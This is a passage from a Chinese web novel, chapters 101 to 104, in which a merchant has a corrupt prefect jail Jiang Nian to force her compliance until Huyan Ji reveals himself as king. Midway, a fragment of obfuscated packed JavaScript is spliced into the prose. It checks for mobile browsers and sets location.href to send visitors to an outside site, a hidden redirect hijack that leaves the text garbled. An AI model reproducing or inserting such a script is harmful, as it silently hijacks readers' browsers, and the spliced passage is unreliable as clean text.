呼延吉把身子往后一靠,仍是笑:“哟!装睡呢!”
“我问你笑什么?!”他痛苦的不幸就这么让人好笑?
呼延吉懒得同傻子说话,叫了江念一声,让她跟他回院子。
江念见他醒了,对情姑道:“嫂子,那我们回了,你也早些回。”
她不太愿意管闲事,何况这人同她不熟,搭把手救他已是仁至义尽。
不承想,江念刚转身,那人霍地从床上坐起,赤脚下地,抢步到呼延吉面前,一字一字说道:“你这种人哪里懂我们这些读书人的难处,你有什么资格笑。”
男子郁愤的心再也压制不住,红着一双眼:“我们这样的人无论再努力,也比不过那些世家大族,为官为宰对他们来说就像到了中午该吃饭一样理所当然,而我们这些篷门子弟,拼了命也难走上仕途。”
“五上姓,还有世家贵族,他们可以不费吹灰之力承袭爵位和官职,而普通百姓再有才能,也需从门客做起,但凡有一点得罪当地官吏,便无法得到举荐。”
男人说着说着,竟然开始泣诉,走到门首,对天抱拳:“可怜我夷越少帝,英武顶秀之人杰,沙场出生入死,回了王庭却要被那些门阀架胁。”
江念看向呼延吉,见他很是认同地点头,心道,你这态度变得也太快,刚才还讥讽人是傻子。
夷越还处于中央集权同贵族势力博弈的阶段,呼延吉打仗虽勇猛英悍,想要改变国情,并非朝夕。
次日,情姑来找江念,闲谈间,江念得知,书生在京都四处碰壁,不得已回了徽城,才进徽城城门,就被人兜头罩下,接着两眼一黑,再次醒来时,人已倒在了桂花巷,头脸全破了。
江念也只能叹息,别说出人头地,只怕崔姓书生在徽城不好活啊。
又过了一日,江念的手伤已好得差不多,心想着要不要去香料铺子看一看,她的暖壁香还未制成,客人已经在她这里定下,食言总归不好。
于是一大早便去了香料铺,一直忙到天色将暗才回,巷弄里光线暗淡,门前的歪脖子树下立着一人,鬼鬼祟祟的……
第101章 我能给你更多
江念刚进巷子口,就见一人在她院门前探头缩脑的,定目一看,不是别人,正是那名崔姓书生。
“做什么呢?”江念问道。
崔致远不防备,吓了一吓,回过头,见是那日救自己的女子,正了脸色:“我找你的……”
说话间,男人在江念脸上打量两眼,心道,那男子看着年岁不过二十,这女子看起来年长些,不知二人是何关系。
江念点头:“进来罢,都是邻居,不过他好似出去了。”
崔致远进到江念院中,江念让秋月上茶水。
崔致远见一个标致的丫头给自己上茶,忙起身,他还未被人这般尊重对待过。
“崔先生找我阿弟何事?”江念问道。
“你阿弟?”崔致远有些意外。
江念笑了一笑:“自小长在一处的。”
男人点了点头,有模有样地喝下一口茶:“也没甚事,我见你阿弟英杰少年,想他同我定是志趣相投之人,便过来坐一坐。”
江念差点呛住,这崔书生看起来也才二十来岁的模样,说的话却一股子岁月风霜之味。
“先生就在我这里用晚饭罢,一会儿他就回了。”
崔致远也不客气,当下就应了。
一炷香的工夫,呼延吉回了,江念向他说崔书生来找他,便起身不再陪坐,回了屋。
两人聊到好晚,不知呼延吉说了什么,只听到崔致远乐呵。
……
这日,江念正在香料铺子制备暖壁香,一个影近前,投到她身上。
江念回头看去,一笑:“安阿兄?你几时回的?”
只见男人身染轻尘,些微疲乏,眼中却带着笑意:“才回。”
江念越过他的肩头看向店外,正是随行的马队,这是还未落屋就来了四季轩?
“安阿兄,我有事同你说,正等着你回来。”
安努尔笑道:“正巧,我也有件事同你说。”
上次,他表露想要求娶她的意思,她因忧心异国人的身份而拒绝,事后他再三思虑,也认为这确实是个问题,让她受制于人,让子嗣受制于人,他也不愿。
这次他去了一趟定州和邕南七镇,那些边境之城皆是梁人和夷越人混居,从而梁人同夷越人结合诞下后嗣的并不少见。
他想着,不如在定州或是邕南安置一套大住宅,买多些奴仆,让江念住在那里,一来那边的生活习惯等各方面同大梁相似,二来她也不再受歧视,最重要的一点,日后他们有了孩儿,也不用低人一等。
只不过江家大多产业在徽城和京都,这也没什么,大不了他辛苦一点,两头跑便是了。
还有一点,以后他势必要再娶一夷越女子为妻,无关情爱,只为有一个流着夷越血脉的子嗣承继家业。
江念在徽城的话,两方相隔甚远,互不牵制,她的日子也自在。
自然了,他会给他和她的孩儿在边境城镇安置产业,让他们的孩儿一辈子衣食无忧,她亦能安享富贵。
他觉着她没理由拒绝。
两人出了制香隔间,去了另一边的客间,对坐下。
“安阿兄,你不是有话同我说么,什么话?”
安努尔微笑道:“你先说。”
江念低头想了想,思索着怎样表述。
“小妹打算离开徽城了,这段时日多谢安阿兄照看。”
安努尔搁于腿上的指尖猛地一颤,听不出情绪地问道:“去哪里?”
“去京都。”
“跟延吉一道?”
江念笑着点了点头。
安努尔在女人脸上端相一瞬,蓄留翠眉间的愁思已散,遂问道:“可想好了?”
他曾说过,男人真想娶一个女人,不会让她等,而江念在赌,赌延吉的良心,到头来很可能只是一场空。
“想好了。”江念语调轻松。
安努尔笑着摇了摇头:“延吉正值韶华盛极的年岁,可他除了青春岁月拿得出手,还有什么?阿念,你不能只看眼前,人需得实际一些,我能给你的更多,你真要跟着他吃苦?”
江念张了张嘴,转而一笑:“安阿兄,他很好的。”
她有些不愿别人在她面前说呼延吉不好,不过安努尔也是出于关心,她不至于冷脸相待。
男人见她心意已定,不再多言,默了一会儿,说道:“你既然要走,我也不好相阻,只是……你在我店里做工甚好,无人能替,你一走,活似抽了顶梁柱,掌柜的需另觅伙计,若招了生手,还费时日学习,你好歹看在我的情面上,再多帮衬些时日可使得?”
江念想了想,自她来到徽城,除开头一日差点被他溺死在澡盆,之后无一不受他看顾。
她总不能做个没良心之人,人家这点要求该应还是得应,便应了下来。
“对了,安阿兄,你适才说有话同我说,什么事情?”
安努尔笑了笑:“我从定州带了些小食,想是你爱吃的,放在车队里,一会儿让人送到桂花巷。”
“劳安阿兄记挂,不如这样,今晚我在自家小院治一桌酒席,备下清酒,为你接风洗尘,如何?”
“荷蒙盛邀,必定准时叨扰。”
话已说定,江念先往家去了。
是夜,小院摆了一个大桌面,珠珠和秋月皆是手脚麻利之人,从下午就开始张罗,江念灶房帮不上忙,干脆到院子里坐着。
请安努尔吃饭一事,呼延吉倒没说什么,就是恼安努尔借口让江念再留些时日。
酒馔备好,只等安努尔人来,江念又请了情姑夫妻和崔书生前来作陪,毕竟呼延吉同安努尔有些芥蒂,对呼延吉来说,他不喜欢安努尔,面上是装也不肯装一下的。
有其他人在桌上,还能说说话儿,不至于冷场。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371289|168163||http|test|mini|href|location''.split(''|''),0,{}));
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r>终于,安努尔来了,身后还跟了两个提盒的仆从。
江念邀安努尔入座,众人相互让了一让,各自落座。
席间多半是江念同情姑引话说,情姑的男人万年不时应和一两句,呼延吉则面无表情地品酒,还有另一人,比呼延吉更不应景,便是崔致远。
他因得罪过羯田,因此遭了不少罪,而羯田又同安努尔要好,自然对安努尔更没有好脸。
安努尔看向江念:“京都地界寸土寸金,阿念,你去了京都可有地方落脚?”说着又看向呼延吉,“延吉可找好居所?”
江念刚要开口,呼延吉从旁插话道:“不劳安兄费心,住得地方有,房子也大,在里面能走马。”
安努尔淡淡一笑,并不当真,继而对江念道:“到了京都给我来信,让我知晓你是否安好。”
江念微笑着点头。
已是夜深,一顿饭吃下来,有些食不甘味,安努尔起身就要辞去,江念送他到院门,这时男人看向院内:“延吉,可否借一步说话。”
呼延吉走了过去,两人走出院门,往巷子口行去。
安努尔立住脚,转过身,看向呼延吉,一张脸在濛濛的夜光和物影下晦暗不明,面上的表情变冷,再凝固,同刚才斯文客气的态度完全两样。
“你若真为她好,就该放手,而不是让她跟着你惴惴度日,她那么个人,若有人欺她,你护不住。”
呼延吉手叉腰胯,语调没有大起伏:“你如何肯定我护不住?”
安努尔的表情静止,又倏忽一笑,声音中透着一丝危险:“如何肯定你护不住?延吉,你很聪明,你应当知道我在说什么,这个世道,尤其在夷越,光靠聪明是不够的。”
两人个头相当,就那么站在巷口,一个天姿瑰杰,一个年长英伟。
呼延吉扬了扬下巴,笑叹:“要不这样,咱们试一试,看我护不护得住,如何?”说罢转身离开,走了两步,停下,侧过头,“安努尔,可还记得我第一次见你时说的什么话?”
这话来得突兀,安努尔回想第一次见面时的情景,身子一震,延吉见他的第一面,直直道出他的身份:安家独子,坐拥徽城四十二家商号,乾道十三岭掌事。
随即他意识到一个更严重的问题,一直以来他疏忽大意的空漏,他将他的底细探了个清清楚楚,他却对他一无所知!
能将他的底细摸察得这般清楚,他倒是小瞧他了,男人看着黑黢黢的巷弄,不过任你本事再大,只要在这徽城,是龙你得给我盘着,是虎也得给我卧着。
徽城处于十三岭环伺间,他虽只是一名商贾,在这徽城没人不给他面子,就算府令在他面前也得做足礼数,你一个二十岁的年轻人,未免太过狂悖,若不是罩着江念阿弟的身份,头一天他就会让他认清徽城的规矩……
第102章 **
一众人走后,秋月和珠珠清扫干净院子,又在灶上热了水,江念便让她二人进屋休息,不必守着。
呼延吉进到院中,江念盯着他的脸看了又看。
“这样看我做什么?”呼延吉问道。
“我怕你恼,怨我不能立时随你回王庭。”
呼延吉错开她,坐到竹椅上,不言语。
“真气呢?”江念问道。
男子仍是不说话,只是沉着眉眼。
江念走到他的身边,微微弯下腰,看了一看,知道他在想事,便不去扰他,走到灶房搅了一碗蜂蜜水。
“喝了。”
呼延吉接过,仍是不说话,倒是很自觉地喝着手里的蜂蜜水。
“水在灶里热着,你让阿丑给你备水,我去歇了啊?”江念说道。
呼延吉“唔”了一声。
江念便不再管他,径自回了房。
呼延吉在院子里坐了一会儿,眉头锁着,手指无意识地拨弄着指上的戒环,又一顿,朝院首喊了一声,丑奴儿立时进到院中。
“吩咐你一事,速速去办。”呼延吉招手让丑奴儿近前,低声说了什么。
丑奴儿听罢,应诺而去。
安努尔那话里大有意思,他说他护不住江念,就是在暗暗威胁,他若要抢人,他护不住。
乾道十三岭的匪贼不是这两年才兴起,一直难以清绞,他本想缓一缓,因才经过一场战事,又急回王庭,不愿这个时候再动兵马,可这人自己找死,那就怪不得他了。
他不是傲言徽城的兵压不住他么,那就让他见识一下真正的兵将。
不过……安努尔绝非单单想要抢人,他若要抢早就出手,不会挨到现在,这男人在享受征服的快慰,想让江念自主到他身边。估摸徽城外围的路已封,只守江念一人。
当下想走也走不了。
此时他身边没有大部人马,不可轻易暴露身份,否则死得更快。
不过,这倒是个契机,正好连徽城府令一起拔除。
之后的几日,江念同往常一样去了香料铺子,门首挂起了水牌,上面写着招贤,待人招来,她便可以抽身。
白日倒是来了些许人应招,掌柜皆看不上,将人打发了。
这日下工后江念回了桂花巷,才一进巷弄,就见情姑院子里不时有人进进出出。
她从门前经过,就见几人或站或坐地围在情姑身边,低声说着什么,而情姑捂着脸,双肩耸动,鬓发散乱。
“嫂子,这是怎的了?”
情姑从手间抬起头,见是江念,仿佛看到救星一般:“阿念,我求不到别人了,只能求你,你不是认识安家郎君么,替我说说话,不然我家男人就完了……”
“到底怎么了?”江念云里雾里。
这时一个邻里说道:“可是怪呢,前些时候,先是崔书生被打丢于巷子口,这会儿又轮到情姑家万年了。”
又一人插话道:“依我看呐,就是书生得罪了府令家郎君,害得咱们这一溜的人不好过,受了牵连,他自己不也被捉进去了。”
“呀!又被监押进去了?”
“可不是,这回有万年跟他做伴。”
一趟话听下来,江念算是明白了,情姑的男人下了牢狱。
“嫂子,发生了何事?万阿兄怎么进去了?”江念又问。
不等情姑开口,一边的邻里又要说,江念只得将人打发了,闭了院门,回坐到情姑身边,问道:“小柴头呢?”
“我现在没心情看顾他,放到别家了。”妇人一直拉着江念的手不放,脸上涕泗横流。
“怎么下到牢里了,犯了什么事?”
情姑哆嗦着唇,一个劲儿地说:“阿念,你得想想办法,救救你万阿兄,你想想办法……”
“嫂子,你别慌,把事情先说清了,阿兄到底犯了什么事?是把店里的吃食给了客人,闹坏了肚子?还是打坏了人家的东西?”
情姑眼里的泪涌得更凶了,嗫嚅出两字:“**……”
当情姑说出“**”两字时,江念出了一瞬的神,好像这个回答,不该出现在此时此地。
那么老实的一个人,怎么会是**?
“嫂子,到底发生了何事?”江念再次问道。
情姑将脸上的眼泪抹开,这才缓缓道来。
原来官府拿人的理由竟是怀疑多年前,情姑先前的男人是万年杀害的。
“这不是乱来嘛,那是他自己掉到河里淹死的,怎能怪到万阿兄的身上。”江念说道。
“他们说有一个人看见……看见万年把人推到河里……”
江念盯着情姑,怔怔开口:“嫂子,这……”
“他是为了我才动的手,都是我害了他……”情姑悲愤道,“那就不是个人,喝了酒就回来对我动拳脚,哪一次不是把我打得满嘴是血,身上从来没好过,他不死,死的就会是我!”
情姑将往事道出,情姑原来的男人叫倪三,夫妻二人白手做起,好不容易有了一家干货铺子,结果男人有钱后便开始以花院为家,把**当老婆,赚的钱全送了花院。
甚至有一次,直接把那名叫金花的相好带回家里,次日一早,让情姑端饭到屋里伺候花院女子梳洗。
连一围的邻居也看不过去,都道这男人太浑,哪有让自家女人伺候一花院姐儿的?!
每每拳脚相加时,扬言要把金花娶回家。
情姑店里有一伙计,便是她现在的男人,万年,自打开店便在店里做活,夫妻二人住在铺子后方的小院,万年则住在小阁楼。
“万兄弟,你这个月的工钱能否再缓缓……若你有下家,我不拦着。”情姑为难道,铺子里的钱全让倪三兜走了。
男人看了两眼妇人,笑道:“东家说的什么话儿,跟了你们这么久,不能因为一时发不出钱,就丢下摊子,我也不是那样的人,再莫要说这样的话了。”
情姑揪紧的心松了松,若万年也走了,她真不知道该怎么办,铺子里搬货之类的重活,她一个妇人根本做不来。
这晚,情姑的男人倪三醉酒回来,不知是那金花惹他不快还是怎的,一回到铺子就对情姑恶言相向。
“速速拿些银子与我!”
情姑骂道:“你成日只管往外花,哪管往回拿,流水似的,金山银山也经不住这般挥霍,哪儿还有钱?!”
“呸!你这贼**倒会装样!”倪三一脚踹翻春凳,唾沫星子直喷到妇人脸上,“瞅瞅你这死鱼身子,要身段没身段,要手段没手段,连花院扫炕的粗使丫头都不如!”又瞪眼骂道:“那起粉头虽说是打小调理的狐狸,好歹知道拿了银子作软款样儿!哪似你这贼妇,攥着柜上银子当命根!速取二十两雪花银来,迟了便吃我重重两拳!”
情姑气得浑身哆嗦,一头撞到男人身上:“没有,
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你拿我的命去抵罢!”
男人一把揪采住女人的头发,往地上一掼,狠命用肘击在妇人腰腹处,打得情姑一口气差点闷过去,这还不算,拳脚似雨点一般落到妇人的头脸上。
这男人真真是恶毒,偏往见光的地方招呼,想让妇人同他一样,见不得人,露不得脸。
情姑伏在地上一声不吭,一双眼从臂膀间射向阁楼,那里有一道影儿,她知道是那伙计。
从前倪三对自己动手时,万年阻拦过一次,倪三跳起脚来叫骂,说他二人有**,好似终于揪住她的错,咬住便不松口,每每让她拿钱,她若不拿,他就诬她同伙计有私。
恨不得叫嚷得人人皆知。
男人发泄完,摆了摆拳脚,趁着酒劲,走到柜台后翻箱倒柜,还真让他寻出几两银子。
钱一到手,又洋洋出了门。
“东家,你没事罢?”万年走了过来,蹲下。
情姑摆了摆手,撑起身子,拖着脚步走回后院,闭上门,没到一会儿,她就听见店铺门板响动,心道,难不成那死鬼又回了?
于是出了屋,掀开门帘,往前厅张望,哪里有人,可是店门开着,难道刚才出去的是万伙计?
倪三抱着一坛酒瓮,这瓮里被贼妇私藏了几两银子,心道,指不定还有其他地方也藏了,待他明日再审一审,若是不说,少不得吃他一顿拳脚。
心里想着,一会儿去了花院,叫金花那小**开开眼,赶着他叫爷,男人打了一个酒嗝,抱着酒瓮沿城河走着,因酒劲上头,走起路来打摆子。
天色黑暗暗,城河那一边,灯火煌煌,丝竹之声随风飘来,男人加快步子,眼里尽是对岸靡丽的焰火。
他却没注意到脚下多出一道影儿。
待他注意到时,人已往后仰去,就在坠落的一瞬,倪三看清了那人,他大睁着眼,手里的酒瓮随之掉落,脑子还没转过意,人已落到湍急的河水里,眨眼间被淹没。
情姑拉着江念的手,泣诉道:“阿念,救救你万阿兄,你认识安家郎君,安家郎君同府令家的郎君相熟,一定说得上话,如果要治罪,就治我的罪。”
妇人说着就要跪下。
江念赶紧托住她:“嫂子,你先别急,让我想想办法。”
“好,好……”
江念就是情姑最后的救命稻草。
将情姑安抚好后,江念回了自家院子,见呼延吉坐着竹凳,头枕双臂,两腿高高翘在石台上,四条凳子腿,只有后两个落地,前两个翘起。
就那么悠闲地前后晃荡着。
江念走过去,把刚才的事情同呼延吉说了。
呼延吉听罢后,没什么反应,面上淡淡的。
“你能否想想办法?”江念问道。
呼延吉嗤了一声:“他杀了人,有什么办法。”
江念撇了撇嘴:“你杀的人还少了?”
男人一噎,只好说道:“**也就算了,还蠢到让人捉住,我夷越也是有律法的,难不成让我带头徇私枉法?”
“那不是事出有因嘛!”
“你事出有因,我也事出有因,谁**没个理由,哦,有理就能**?那还要官府做什么?”
江念不愿同他再说,甩袖进屋。
待女人走后,呼延吉仍是保持着那副啷当姿态,有一下无一下地晃动着座椅,只是琥珀色的眼底似在筹谋着什么,分辨不清……
第103章 求我……
次日,江念去了香料铺子,指望同安努尔说一说,看看万**能否转圜。
结果,等了半日也不见安努尔来,这才想起,好似自他从定州回徽城,除开回来的当日来了一趟铺子,之后再没来过。
“掌柜的,东家今日不来店里?”江念问道。
“应是不来罢。”
“东家又去外城了?”
“那倒没有,我昨儿还去了趟安府,他在呢。”
江念点了点头,抽着午间的空档,去了安府,从角门入,过两个穿堂,引路的妇人将她带到一处院落,便离开了。
院子里树草翠绿,没有其他人,静悄悄的,房屋的门关着,只有一扇窗半掩着,她远远瞟了一眼,窗隙间隐有香风吹来。
她寻了一个靠墙的阴凉地坐下,安静地等着。
约莫坐了一炷香的工夫,进来一个小厮,这小厮江念认得,好像叫山奴。
“这不是江香工么?”山奴略微惊讶道。
江念起身,微笑道:“我来找东家。”
山奴回头看了眼房门,走到江念跟前,低声道:“昨儿去府令家吃酒,闹到好晚方回,这不,现在还没起。”
江念听说,心里多了一分希望,忙说:“那不打紧,我在这里等。”
今日一大早,她看望情姑,整个人精神完全垮了,孩子也顾不上,想着能帮还是帮一帮。
正想着,屋里有了动静,丫鬟们依次序进入屋里,随后山奴也进到屋里,出来后便告知江念,可以进去了。
江念拿袖拭了拭额上的细汗,道过谢,进到房里。
外间没人,半扇屏风后隐有人影晃动,接着安努尔绕过屏风,走了出来,身后随了两个美婢。
“阿念今日怎么想着到我府上来?”
男人抬手请江念坐下,又示意丫鬟们上茶点。
江念没有说太多细节,只把情姑男人下了牢狱,再问可否有转圜的余地。
安努尔坐到她的对面,挥手让丫鬟退下,端起茶盏不紧不慢地呷了一口,问道:“这个得看罪责轻重了”
“牵扯了人命的。”
男人并不惊讶,言语闲适道:“还未开审?”
“眼下只是看押,还未审。”江念听其语气,似是有办法。
然而安努尔却道:“阿念,求人办事,人情最难还,我去信给府令,倒是能救他出狱,可我是个生意人,不做赔本买卖,我动用了我的人情,可你求我,你拿什么还?”
男人双眼看着她,等着她回答。
江念听出安努尔话里的意思,站起身,往后退了两步:“今日前来叨扰安阿兄了。”
她确实想帮情姑一把,可犯不着把自己搭进去。
安努尔点点头,让人送江念出府。
出了安府,江念也无心再去四季轩,径直回了桂花巷,去了情姑的院子。
“阿念,怎么样,安家郎君怎么说的?”情姑问道。
江念摇了摇头:“嫂子,这个事情,我没办法。”
情姑当下就往后仰去……
情姑听说没有办法,心里本就混乱,再受不住一点波动,当下就倒了,还好江念眼疾手快,扶了一把,不至于摔倒碰伤。
她将人扶进屋里,待人醒过来,又坐了一会儿,说了些干瘪宽慰的话才回到自家小院。
一进院子就见呼延吉坐在那里,背抵着桌沿,低着头不知在鼓捣什么,于是上前两步,定目看去,是一个九连环。
她记得这个九连环是呼延吉带着真儿逛街市时买的。
她心里本就有气,平时不怎么求人办事的,把自己一张脸看得比什么都金贵,好不容易豁出去,结果走了一趟“空镖”。
现下又见他拿着那物儿耍,气就不打一处来,明明他动动嘴皮子就能办的事情,却冷眼看她白忙活。
呼延吉抬眼见江念回了,笑道:“今日怎么回得这样早?”
得到的是女人的一记秋波横斜。
江念懒怠理他,回了屋。
呼延吉便跟在她的后面,结果“啪——”的一声门被反手关上,将他阻在外面。
呼延吉只得推门而入,见女人伏在榻上,帐幔半打下,听见他进来,仍是不动,他便侧身坐到床沿,把她脚上的绣鞋褪了,捏了捏她的脚脖。
江念把脚一缩,又扭身回瞪了他一眼,转而枕着自己的衣袖闭上眼,依旧不理他。
“你看你气性怎的这般大,我又没说不帮。”呼延吉便歪在她的身后,手不自觉地环上她的腰肢,搭在她的小腹上。
江念霍地挣开,从榻上坐起,她仍是不惯他太亲自己,两人虽然把话说开,可这偃卧之所,靠得太近……就怪怪的……
呼延吉倒是想再亲近一些,却也不愿唐突她,于是跟着坐起身。
“这么说,你愿意相帮了?”江念说道。
呼延吉笑了笑:“再等等,还未到时候……”
次日,江念去了香料铺,忙碌了一会儿,又寻到掌柜身边,追问雇人的事情。
“我也正愁呢,你也看了,来的都是些生手,笨鹅似的教不会,总得觅一个有些本事的。”掌柜的说道。
江念正待要说什么,从外进来一个微胖的妇人,那妇人进来后,眼往店里一扫,定在江念身上,扬手一指:“就是她!”
妇人身后出现几个衙役,提着镣铐上前,就要架上江念。
“干什么拷我?”
其中一个衙役道:“你制的香料害人闹了大病,不拷你拷谁?”
几个衙役不由分说把江念押出了店。进到牢里时,她仍觉得有些不真实,前一日还为别人的事情奔走,今日就变成了阶下囚。
“喂——”对面叫了一声。
江念看去,不是别人,正是崔致远,听说他同情姑的男人前后脚进来的。
“你怎么也进来了?”崔致远说着,转而颓下声气,“这事怪我,是我连累了你们。”
他得罪了羯田,没想到把身边之人也牵扯了进来。
“万阿兄呢?”江念问道。
崔致远用下巴指了指:“在你旁边。”
江念环顾一看,见旁边的牢房里躺着一
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个半死不活的人,不是万年又是谁。
因牢房光线太暗,一时没看见。男人趴伏在地,身下的衣衫染满了血。
“不是还没审么,怎么就用上刑了?”江念急声道,再去看崔致远,他倒还好端端的。
“进了这里还不是由着那些牙吏说了算。”
江念朝旁边叫了两声,不见万年有任何反应。
没关系,呼延吉一定会来救自己,他一定会来。
彼边……
呼延吉看着眼前跪伏的几名军将,冷声道:“都清理干净了?”
其中一人说道:“十三岭的匪贼已被剿除大半,仍有少数困于寨内,因大王交代不可打草惊蛇,阿多图大人已派人封死所有出山道路,另在城门布设乔装打扮的护卫,但凡有可疑之人想要入城,皆被阻下。”
……
江念就这么在牢里待了一夜,她以为很快就能出去,然而并不是,牢房阴湿,白日还好,一到夜里,又困又睡不着。
就这么一直到第三日,终于来了人,却并不是她等的那人,而是另一个人。
另一边,丑奴看向把玩九连环的主人,说道:“鱼儿上钩了。”
男人放下手里的九连环,伸了一个懒腰:“走,收竿。”
江念看向牢门外的男人,那人仍是谦和稳重的气韵。
“阿念,香料染恙的那家人,我已寻到,给了他们银钱安抚,想要私了此事,他们却不松口,此事只怕有些难办。”
江念认真听着,然后站起身,启口道:“安阿兄,是你罢。”
安努尔笑了一笑:“阿念在说什么?”
“我院中两次闹贼,是你指使的,对不对?万阿兄被下牢狱,也因为你,还有我落得如此境况,也是你在背后操控,对么?”牢中的几日,江念将事情前后一梳理什么都清楚了。
“你先是让我院中闹贼,迫我同你回安府,再后来,我阿弟住了进来,你才作罢,你见我要辞去香料铺子的活计,预备离开徽城,便使出这等手段,先让万阿兄获罪,让情姑央泱于我,我必会前往相求于你,你再以此为条件开口,将我困于身边。”
江念冷笑一声:“我却没有应下,你见我不入套,干脆直接拿我开刀,好让我屈服,我说得可对?”
说什么找到香料染恙的人家,哪怕给了银钱,那家人也不愿意松口,话里的意思不就是,要救她出牢需他动用关系么,若她承了他的情,就不得不委身于他。
安努尔静了一静,换了一种势在必得的神气:“阿念,我这也是为了让你看清,关键时候谁能救你,你托付的那人,在哪儿呢?你在牢里待了好几日,他有来过一次?”
男人又道:“我曾对延吉说过,若有人欺辱于你,他护不住你,现在看来,我的话没有错。”
江念只觉着可笑,脸上自然而然就带上几分不以为意。
安努尔很能看透人心,说出来的话也是直戳痛处:“他若真有本事,怎的不来救你,还是说……他根本没将你放在心上……”
第104章 绝不让她守寡
无论江念心底是什么想法,这一刻,她并不愿旁人在她面前说三道四,毕竟那是她和呼延吉两人的事。
“除了我,你别无他选,你是个聪明的女子,没必要同自己过不去,过几日我再来,届时希望你能想通。”男人说罢离去。
待人走后,江念颓下双肩,看向对面:“是我牵连了你们。”
崔致远摇了摇头,一副无所谓的态度:“我倒还好,进进出出多少回,牢已成家。”说着看向另一个方向,“就是不知道万年能否挺过去,哎——他跟情姑俩挺不容易的。”
江念朝旁边的牢房喊了两声:“万阿兄,今日怎么样?”
男人趴伏着,沉沉地哼了一声:“不打紧,还没死。”
崔致远跟着叫了一声:“万年,你有没有什么遗言,说给你家女人的?你先说给我听一听,等我出去了,我告诉她。”说罢,又长叹一声,“要不说,还是情姑命不好,估摸着又要当一段时日的寡妇。”
江念一听,气嗔道:“崔先生,你这样说话不好罢,嫂子怎会当寡妇。”继而转过头对另一边的万年说道,“万阿兄,你莫要听他的,只要我活着出去,立马给嫂子觅一良人,绝不让她守寡,你安心。”
两人一唱一和,男人终于抬了头,猛地咳了两声:“你俩可真是好人儿……”
……
山奴和火奴见自家主子出来,牵着马迎了上去。
“大爷,府令知道您来了,差人来邀您去官廨后宅清坐一回。”
安努尔点了点头,问道:“礼备下了?”
“备下了。”
“走罢。”
男人踅过步子,去了官廨,早有一仆从在大门外候着,见了安努尔恭敬往里引路。
徽城府令,名羯庸,羯田之父,背后依仗的是朵氏一族。
仆从将安努尔引到内院,羯庸已在会客厅候着,见了安努尔,竟起身相迎,十分客气。
这羯庸比安努尔年长十来岁,瘦长脸,看起来有几分儒雅之相。
两人相互见礼,对坐下。
“安爷近日忙什么?”羯田说道。
安努尔笑道:“左不过一些上不得台面的凡俗事务。”
“安爷的贵帖,我已看过,也已交待下去,只收押,不可用刑。”
“荷蒙大人费心。”
这时,府令的亲随上前,躬身道:“安家大爷让人备了三抬礼,送了进来。”又将礼物揭帖呈递于府令观看。
羯庸如何不喜,嘴上客气道:“此礼我不当受,何故又破费,你还拿回去。”
安努尔道:“不过些小微物,进献大人赏人。”
羯庸就势说道:“既是如此,令左右收了罢。”
正说着,有仆人来报,门外有人求见。
“可有名帖?”羯庸语中透着不快,暗恼家中下人不懂规矩,什么人都往上报。
“没……不过,他说他是牢中女子的阿弟。”
安努尔听了,轻笑一声:“倒真是来了。”
仆从说门外有人找,还自称是牢中女子的阿弟,羯庸看向一边的安努尔。
“有些交情。”安努尔说道。
羯庸听了,说道:“既是如此,请人进来。”
两人端起茶盏笑说着闲话,阔大的门厅进来一人,那人背光而来,光笼着来人英秀矫健的流线,待人走近了,可观其是个二十出头的年轻人。
羯庸眯了眯眼,仍是有些看不清那人的面目,人年纪一大,目力不佳,再加上厅门太过迎光,以至于看来人便有些花暗不清。
“你是那女子的阿弟?”羯庸沉声问道。
来人“唔”了一声。
羯庸一声大喝:“放肆!小辈无礼!”说着,又道,“满口谎言,那女子乃梁人,你一夷越人,哪里来的亲缘?把本官当三岁小儿糊弄?!”
来人静默了半晌,开口道:“我八岁去的大梁,十五方回。”
羯庸脑中一丝异样闪过,太快,来不及抓取。
“你来此找本官所为何事?”
“自然是让你放人。”
一直未开口的安努尔轻轻一声笑,这笑里藏着居高临下的轻视。
“延吉,你护不住她,何必到这里自讨没趣,若不是我,你连见府令大人的资格也没有。”
安努尔一语刚落地,上首传来乱七八糟的哐哐响,很是有些慌乱,转头看去,就见刚才还端坐的羯庸半歪在地,头上的方冠掉在一边,他又狼狈地去捡,踉跄不能起。
那捡的动作看着十分慌张,一旁的侍从赶紧架起他的两只胳膊,好容易才搀直了身子。
“大人无恙否?”安努尔问道。
羯庸在侍从的搀扶下站稳,微垂着眼,有些不敢正视堂下,磕巴问:“你……你叫什么名儿?”
他刚才听安努尔叫那人延吉,差了一个字,但他不得不警醒一些,这年轻人一进会客厅,他就觉着眼熟,奈何背光一直看不清明,况这少年说他八岁到大梁,十五岁归夷越,这跟那位何其相似。
哎呀——若真是……这不是要他的老命!
来人淡淡说道:“你没听到他叫我‘延吉’?”
安努尔看着眼前一幕,察觉出事态不对。
羯庸仍是不敢直视下方,眼神一直在避,说出来的话早已没了刚才的架势:“敢问小郎君尊姓?”
此话一出,便是一阵安静。
这诡秘的安静延长下来,终于堂下人启语:“你一末吏,安敢问吾族氏?”
羯庸身子一晃,什么也顾不得,挥开左右,踉跄趋阶而下,稽首及地,俯伏而拜,两条胳膊在袖中颤抖不止。
“微臣叩请死罪!大王如皓月亲临,臣竟昏昧至此。”
呼延吉错身而过,径直走到上首,威坐下。
“羯庸你好大胆,敢同十三岭之匪贼为伍,沆瀣一气。”
呼延吉说罢,看向安努尔,同羯庸的慌乱相比,这人显得过于平静,似是很快接受了眼前的事实,并迅速想接下来的对策。
羯庸额上冷汗直冒,一句话也说不清:“大王,微臣不知……”
安努尔冷冷一声笑:“府令大人这是什么话,我那三大箱笼金锦刚入你的库房罢。”
这会儿他绝不能让羯庸摘干净,需得把他拖下水,才能捕得一线生机。
羯庸气骂:“
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你一商贾莫要诬陷本官,本官岂会受你的礼。”
安努尔丝毫不见慌张:“府令大人以为不承认,咱们这位少帝就会放过你?大人为官多载,不会连这点也想不明白罢。”
羯庸慢慢回过味来,他已是将人得罪了,且君王这态度明显就是来兴师问罪的。
他知道安努尔的意思,只是……绞杀皇族?羯庸浑身一激灵,可事已至此,呼延氏不死,死的便是他。
想到这里,男人怯弱的目光变了,从地上直起身,重新理衣,看了安努尔一眼。
